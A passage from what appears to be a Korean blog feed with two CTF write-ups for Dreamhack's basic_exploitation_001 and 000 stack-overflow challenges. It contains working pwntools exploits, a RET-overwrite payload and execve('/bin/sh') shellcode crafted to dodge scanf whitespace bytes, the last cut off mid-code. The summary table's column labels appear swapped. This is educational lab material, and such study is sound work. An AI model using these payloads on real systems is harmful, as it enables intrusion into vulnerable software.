&lt;p data-ke-size=&quot;size16&quot;&gt;000에서는 scanf가 셸코드 안의 0x0b(execve syscall 번호)에서 입력을 끊어 한참 고생했지만, 001은 gets라서 어떤 바이트든 그대로 다 받는다. 게다가 셸코드 자체가 없으니 공백 바이트 문제 자체가 발생하지 않는다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 스택 레이아웃과 페이로드 설계&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;disassemble main의 lea eax,[ebp-0x80]에서 buf가 ebp-0x80임을 확인. 32비트 스택 구조:&lt;/p&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;[ buf (0x80 = 128바이트) ][ SFP (4) ][ RET (4) ]
      더미로 채움             더미로 채움  &amp;larr; read_flag 주소
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이로드 구성:&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;payload  = b&quot;A&quot; * 0x80              # buf 채우기
payload += b&quot;BBBB&quot;                  # SFP 4바이트 (더미)
payload += p32(read_flag_addr)      # RET &amp;larr; read_flag 주소
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;000과 달리 NOP sled, 셸코드, %p 주소 수신이 전부 불필요하다. read_flag 주소는 No PIE라 고정이고, 심볼이 남아있어 e.symbols[&quot;read_flag&quot;]로 자동 추출했다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 최종 익스플로잇 코드&lt;/h2&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;from pwn import *

context.arch = &quot;i386&quot;

p = remote(&quot;host3.dreamhack.games&quot;, 23202)   # 포트는 문제 페이지 기준

e = ELF(&quot;./basic_exploitation_001&quot;)

payload  = b&quot;A&quot; * 0x80                        # buf 채우기
payload += b&quot;BBBB&quot;                            # SFP
payload += p32(e.symbols[&quot;read_flag&quot;])        # RET &amp;larr; read_flag 주소

p.sendline(payload)
print(p.recvall(timeout=3).decode(errors=&quot;replace&quot;))   # 플래그 수신
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 결과:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1404&quot; data-origin-height=&quot;477&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RMASY/dJMcaci9EYc/akvDVk5Ro6FaPXFJtELJXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RMASY/dJMcaci9EYc/akvDVk5Ro6FaPXFJtELJXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RMASY/dJMcaci9EYc/akvDVk5Ro6FaPXFJtELJXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRMASY%2FdJMcaci9EYc%2FakvDVk5Ro6FaPXFJtELJXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1404&quot; height=&quot;477&quot; data-origin-width=&quot;1404&quot; data-origin-height=&quot;477&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;read_flag가 system(&quot;cat /flag&quot;)를 실행하므로, 점프 성공과 동시에 플래그가 출력된다. 셸 획득 단계가 없어 000에서 겪은 interactive 타이밍 문제도 없었다 &amp;mdash; recvall로 한 번에 받으면 끝.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 한 줄 요약과 배운 점&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gets로 인한 스택 버퍼 오버플로우로 RET를 덮어, 바이너리에 이미 존재하는 read_flag()(system(&quot;cat /flag&quot;)) 함수로 실행 흐름을 넘겨 플래그를 획득했다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;000 vs 001 정리&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 210px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; width: 20.3488%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 17px; width: 38.3721%;&quot;&gt;001&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 17px; width: 41.1627%;&quot;&gt;000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px; width: 20.3488%;&quot;&gt;점프 대상&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 38.3721%;&quot;&gt;직접 주입한 셸코드&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 41.1627%;&quot;&gt;이미 있는 read_flag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px; width: 20.3488%;&quot;&gt;NX&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 38.3721%;&quot;&gt;disabled (스택 실행 가능)&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 41.1627%;&quot;&gt;enabled (그러나 무관)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px; width: 20.3488%;&quot;&gt;buf 주소&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 38.3721%;&quot;&gt;%p로 받아 RET에 사용&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 41.1627%;&quot;&gt;알 필요 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px; width: 20.3488%;&quot;&gt;RET 값&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 38.3721%;&quot;&gt;buf 주소 (매번 바뀜, ASLR)&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 41.1627%;&quot;&gt;read_flag 주소 (고정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px; width: 20.3488%;&quot;&gt;입력 함수&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 38.3721%;&quot;&gt;scanf(&quot;%141s&quot;) (공백 절단)&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 41.1627%;&quot;&gt;gets (무제한)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px; width: 20.3488%;&quot;&gt;셸코드&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 38.3721%;&quot;&gt;필요 (공백 바이트 회피 고생)&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 41.1627%;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px; width: 20.3488%;&quot;&gt;결과&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 38.3721%;&quot;&gt;셸 획득 &amp;rarr; cat flag&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 41.1627%;&quot;&gt;즉시 플래그 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px; width: 20.3488%;&quot;&gt;체감 난이도&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 38.3721%;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 41.1627%;&quot;&gt;낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CTF</category>
      <author>whffu0123</author>
      <guid isPermaLink="true">https://gahyun0123.tistory.com/19</guid>
      <comments>https://gahyun0123.tistory.com/19#entry19comment</comments>
      <pubDate>Wed, 17 Jun 2026 20:43:10 +0900</pubDate>
    </item>
    <item>
      <title>Basic_Exploitation 000</title>
      <link>https://gahyun0123.tistory.com/18</link>
      <description>&lt;h1&gt;Dreamhack basic_exploitation_000 Write-up&amp;nbsp;&lt;/h1&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 문제 개요&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스택 버퍼 오버플로우로 반환 주소(RET)를 덮는 것까지는 이전 문제들과 같지만, 이번엔 &lt;b&gt;점프할 만한 좋은 함수(get_shell, read_flag)가 주어지지 않는다.&lt;/b&gt; 그래서 &lt;b&gt;셸코드를 직접 buf에 주입한 뒤, RET를 buf 자신의 주소로 덮어&lt;/b&gt; 내가 심은 셸코드로 실행 흐름을 넘기는 것이 목표다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;out_of_bound&lt;/td&gt;
&lt;td&gt;No PIE&lt;/td&gt;
&lt;td&gt;OOB 인덱스로 system(&quot;/bin/sh&quot;) 호출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cmd_center&lt;/td&gt;
&lt;td&gt;No Canary&lt;/td&gt;
&lt;td&gt;오버플로우로 인접 변수 변조 + strncmp 우회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rao&lt;/td&gt;
&lt;td&gt;No Canary + No PIE&lt;/td&gt;
&lt;td&gt;오버플로우로 RET를 get_shell 주소로 변조&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;basic_exploitation_000&amp;nbsp;&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;No Canary + &lt;b&gt;NX disabled&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;셸코드를 주입&lt;/b&gt;하고 RET를 buf 주소로 변조&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rao가 &quot;이미 있는 함수(get_shell)로 점프&quot;였다면, 000은 &quot;점프할 코드가 없으니 내가 만들어서 메모리에 넣고 거기로 뛴다&quot;는 한 단계 위의 기법이다. 이전에 배운 &lt;b&gt;셸코드(shell_basic)&lt;/b&gt; 와 &lt;b&gt;RET 덮기(rao)&lt;/b&gt; 를 합치는 문제다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 보호기법 분석 (checksec)&lt;/h2&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;Arch:     i386-32-little        &amp;rarr; 32비트, p32 / context.arch=&quot;i386&quot;
RELRO:    No RELRO
Stack:    No canary found       &amp;rarr; 오버플로우로 RET까지 자유롭게 덮기 가능
NX:       NX disabled           &amp;rarr; 스택의 셸코드 실행 가능 (이게 결정적)
PIE:      No PIE (0x8048000)    &amp;rarr; 코드 주소 고정
RWX:      Has RWX segments      &amp;rarr; 스택 읽기/쓰기/실행 모두 가능
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 &lt;b&gt;NX disabled / Stack Executable&lt;/b&gt;. 이 덕분에 &quot;스택(buf)에 셸코드를 심고 거기로 점프&quot;하는 전략이 통한다. NX가 켜져 있었다면 이 방법은 불가능하고 ROP 같은 다음 단계 기법이 필요했을 것이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 소스 코드 분석&lt;/h2&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void alarm_handler() {
    puts(&quot;TIME OUT&quot;);
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x80];               // 128바이트 버퍼
    initialize();
    printf(&quot;buf = (%p)\n&quot;, buf);  // &amp;larr; buf의 주소를 출력해줌!
    scanf(&quot;%141s&quot;, buf);          // &amp;larr; 141바이트 입력 &amp;rarr; 오버플로우
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;결정적인 두 줄&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;(1) printf(&quot;buf = (%p)\n&quot;, buf)&lt;/b&gt; &amp;mdash; 프로그램이 매 실행마다 buf의 주소를 출력해준다. 원격 서버에 ASLR이 켜져 있어 buf 주소가 실행마다 바뀌지만(0xfffb3ef8 &amp;rarr; 0xffd1c998 &amp;rarr; 0xffc15b18 ...), 이 출력을 받아서 RET에 쓰면 ASLR을 그대로 우회할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;(2) scanf(&quot;%141s&quot;, buf)&lt;/b&gt; &amp;mdash; buf는 128바이트인데 141바이트까지 받는다. 0x80(128) + SFP(4) + RET(4) = 136 &amp;lt; 141이므로 RET를 덮기에 충분하다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 스택 레이아웃과 페이로드 설계&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;disassemble main의 lea eax,[ebp-0x80]에서 buf가 ebp-0x80임을 확인. 32비트 스택 구조:&lt;/p&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;[ buf (0x80 = 128바이트) ][ SFP (4) ][ RET (4) ]
 &amp;uarr; 셸코드를 여기 맨 앞에 심음        &amp;uarr; 여기를 buf 주소로 덮음
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이로드 구성:&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;payload  = shellcode                        # buf 맨 앞에 셸코드
payload += b&quot;\x90&quot; * (0x80 - len(shellcode))# 나머지를 NOP으로 채워 0x80 맞춤
payload += b&quot;BBBB&quot;                          # SFP 4바이트
payload += p32(buf)                         # RET &amp;larr; printf가 알려준 buf 주소
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main이 ret하면 RET에 적힌 buf 주소로 점프 &amp;rarr; buf 맨 앞의 셸코드 실행.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 트러블슈팅 &amp;mdash; 실패 원인 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제는 페이로드 구조는 처음부터 맞았지만, &lt;b&gt;scanf가 셸코드를 중간에 잘라먹는 문제&lt;/b&gt; 때문에 네 번의 셸코드 교체를 거쳤다. 그 과정을 정리한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;핵심 함정: scanf의 공백 바이트 절단&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;scanf(&quot;%s&quot;)는 공백류 문자를 만나면 입력을 거기서 끊는다. 끊는 바이트는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바이트 의미&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x09&lt;/td&gt;
&lt;td&gt;Tab&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x0a&lt;/td&gt;
&lt;td&gt;Line Feed (\n)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x0b&lt;/td&gt;
&lt;td&gt;Vertical Tab&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x0c&lt;/td&gt;
&lt;td&gt;Form Feed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x0d&lt;/td&gt;
&lt;td&gt;Carriage Return&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x20&lt;/td&gt;
&lt;td&gt;Space&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;셸코드 안에 이 중 하나라도 있으면, 그 지점에서 입력이 잘려 셸코드 뒷부분 + SFP + RET가 아예 전달되지 않는다. &amp;rarr; RET가 안 덮이고 프로그램이 정상 종료(exit 0) &amp;rarr; 연결 종료(EOF).&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실패 1차 &amp;mdash; shellcraft.execve(&quot;/bin/sh&quot;, 0, 0)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;buf addr는 받았으나 셸 안 뜨고 exit code 0. 셸코드 중간의 공백 바이트에서 잘린 것으로 추정.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실패 2차 &amp;mdash; 임의의 23바이트 무공백 셸코드&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1307&quot; data-origin-height=&quot;309&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PxrZR/dJMcaccqz6D/hINKwjtbwCx4K8IqRNKyAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PxrZR/dJMcaccqz6D/hINKwjtbwCx4K8IqRNKyAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PxrZR/dJMcaccqz6D/hINKwjtbwCx4K8IqRNKyAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPxrZR%2FdJMcaccqz6D%2FhINKwjtbwCx4K8IqRNKyAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1307&quot; height=&quot;309&quot; data-origin-width=&quot;1307&quot; data-origin-height=&quot;309&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;증상: 여전히 EOF. 해당 셸코드가 이 환경에서 정확히 동작하지 않았다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실패 3차 &amp;mdash; NOP sled 추가 (셸코드를 buf 끝에 배치)&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1238&quot; data-origin-height=&quot;247&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dmu71P/dJMcaijp24d/PkUTvU7NkGdROqjSX6Xvv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dmu71P/dJMcaijp24d/PkUTvU7NkGdROqjSX6Xvv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dmu71P/dJMcaijp24d/PkUTvU7NkGdROqjSX6Xvv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdmu71P%2FdJMcaijp24d%2FPkUTvU7NkGdROqjSX6Xvv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1238&quot; height=&quot;247&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1238&quot; data-origin-height=&quot;247&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RET &amp;rarr; buf 시작(NOP 구간) &amp;rarr; 미끄러져 셸코드 도달 전략을 시도. 여전히 EOF. 점프/정렬 문제가 아니라 &lt;b&gt;셸코드 자체가 실행 중 죽는다&lt;/b&gt;는 의심으로 전환.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실패 4차 &amp;mdash; shellcraft.sh() (len = 44)&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1232&quot; data-origin-height=&quot;346&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceOejV/dJMcad3qthX/KlB1RjCgP0rPp6AQak5MOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceOejV/dJMcad3qthX/KlB1RjCgP0rPp6AQak5MOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceOejV/dJMcad3qthX/KlB1RjCgP0rPp6AQak5MOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceOejV%2FdJMcad3qthX%2FKlB1RjCgP0rPp6AQak5MOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1232&quot; height=&quot;346&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1232&quot; data-origin-height=&quot;346&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;shellcode len = 44로 정상 어셈블됐으나 EOF. 이때 &lt;b&gt;공백 바이트 자동 검사 코드&lt;/b&gt;를 추가하여 원인을 직접 확인.&lt;/p&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;bad = [hex(b) for b in shellcode if b in (0x09,0x0a,0x0b,0x0c,0x0d,0x20)]
log.info(&quot;bad bytes in shellcode: %s&quot; % bad)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 결과: bad bytes in shellcode: [11] (= 0x0b)&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;원인 확정: syscall 번호 11(0x0b)이 그대로 들어감&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;execve의 syscall 번호는 11이다. 보통 이를 push 0xb; pop eax(6a 0b ...) 또는 mov al, 0xb(b0 0b)로 넣는데, &lt;b&gt;둘 다 기계어에 0x0b 바이트를 만든다.&lt;/b&gt; 이 0x0b가 scanf의 절단 대상이라 셸코드가 그 직전에서 잘려 있었다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;최종 해결: syscall 번호를 산술로 생성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;11을 직접 쓰지 않고, 공백 바이트가 아닌 값에서 빼서 만든다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;mov    al, 0x10    ; 16 (b0 10)
sub    al, 0x5     ; 16 - 5 = 11 (2c 05)
int    0x80
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;b0 10, 2c 05 모두 공백 바이트가 아니다. 이로써 bad bytes in shellcode: [] (깨끗)을 달성.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;마지막 함정: interactive 타이밍&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1019&quot; data-origin-height=&quot;281&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dtOixH/dJMcaiwXIw6/0v4BslMG2XUaS4d5aiulKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dtOixH/dJMcaiwXIw6/0v4BslMG2XUaS4d5aiulKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dtOixH/dJMcaiwXIw6/0v4BslMG2XUaS4d5aiulKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdtOixH%2FdJMcaiwXIw6%2F0v4BslMG2XUaS4d5aiulKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1019&quot; height=&quot;281&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1019&quot; data-origin-height=&quot;281&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;셸코드는 성공적으로 실행됐으나(cat flag 입력 시 $ 프롬프트가 한 번 더 떴음), p.interactive()가 너무 빨리 닫혀 명령 출력을 받기 전에 연결이 끊겼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해결: interactive 대신 셸에 명령을 직접 전송하고 결과를 표식으로 잡아 수신.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; ls 결과로 basic_exploitation_000, flag, run.sh 확인, cat flag로 플래그 획득.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1183&quot; data-origin-height=&quot;222&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/civcOV/dJMcahx3L7Y/nZjjn6qeQKPHg2jjm9trj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/civcOV/dJMcahx3L7Y/nZjjn6qeQKPHg2jjm9trj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/civcOV/dJMcahx3L7Y/nZjjn6qeQKPHg2jjm9trj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcivcOV%2FdJMcahx3L7Y%2FnZjjn6qeQKPHg2jjm9trj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1183&quot; height=&quot;222&quot; data-origin-width=&quot;1183&quot; data-origin-height=&quot;222&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 최종 익스플로잇 코드&lt;/h2&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;from pwn import *

context.arch = &quot;i386&quot;
context.os = &quot;linux&quot;

p = remote(&quot;host3.dreamhack.games&quot;, 20671)

# 1) printf가 출력한 buf 주소 수신 (ASLR 우회)
p.recvuntil(b&quot;buf = &quot;)
buf = eval(p.recvline().strip())
log.info(&quot;buf addr = &quot; + hex(buf))

# 2) scanf-safe 셸코드 (공백 바이트 0개)
#    execve(&quot;/bin/sh&quot;, NULL, NULL)
#    syscall 번호 11을 (mov al,0x10; sub al,0x5)로 생성하여 0x0b 회피
asm_code = &quot;&quot;&quot;
    xor    eax, eax
    push   eax
    push   0x68732f2f      ; &quot;//sh&quot;
    push   0x6e69622f      ; &quot;/bin&quot;
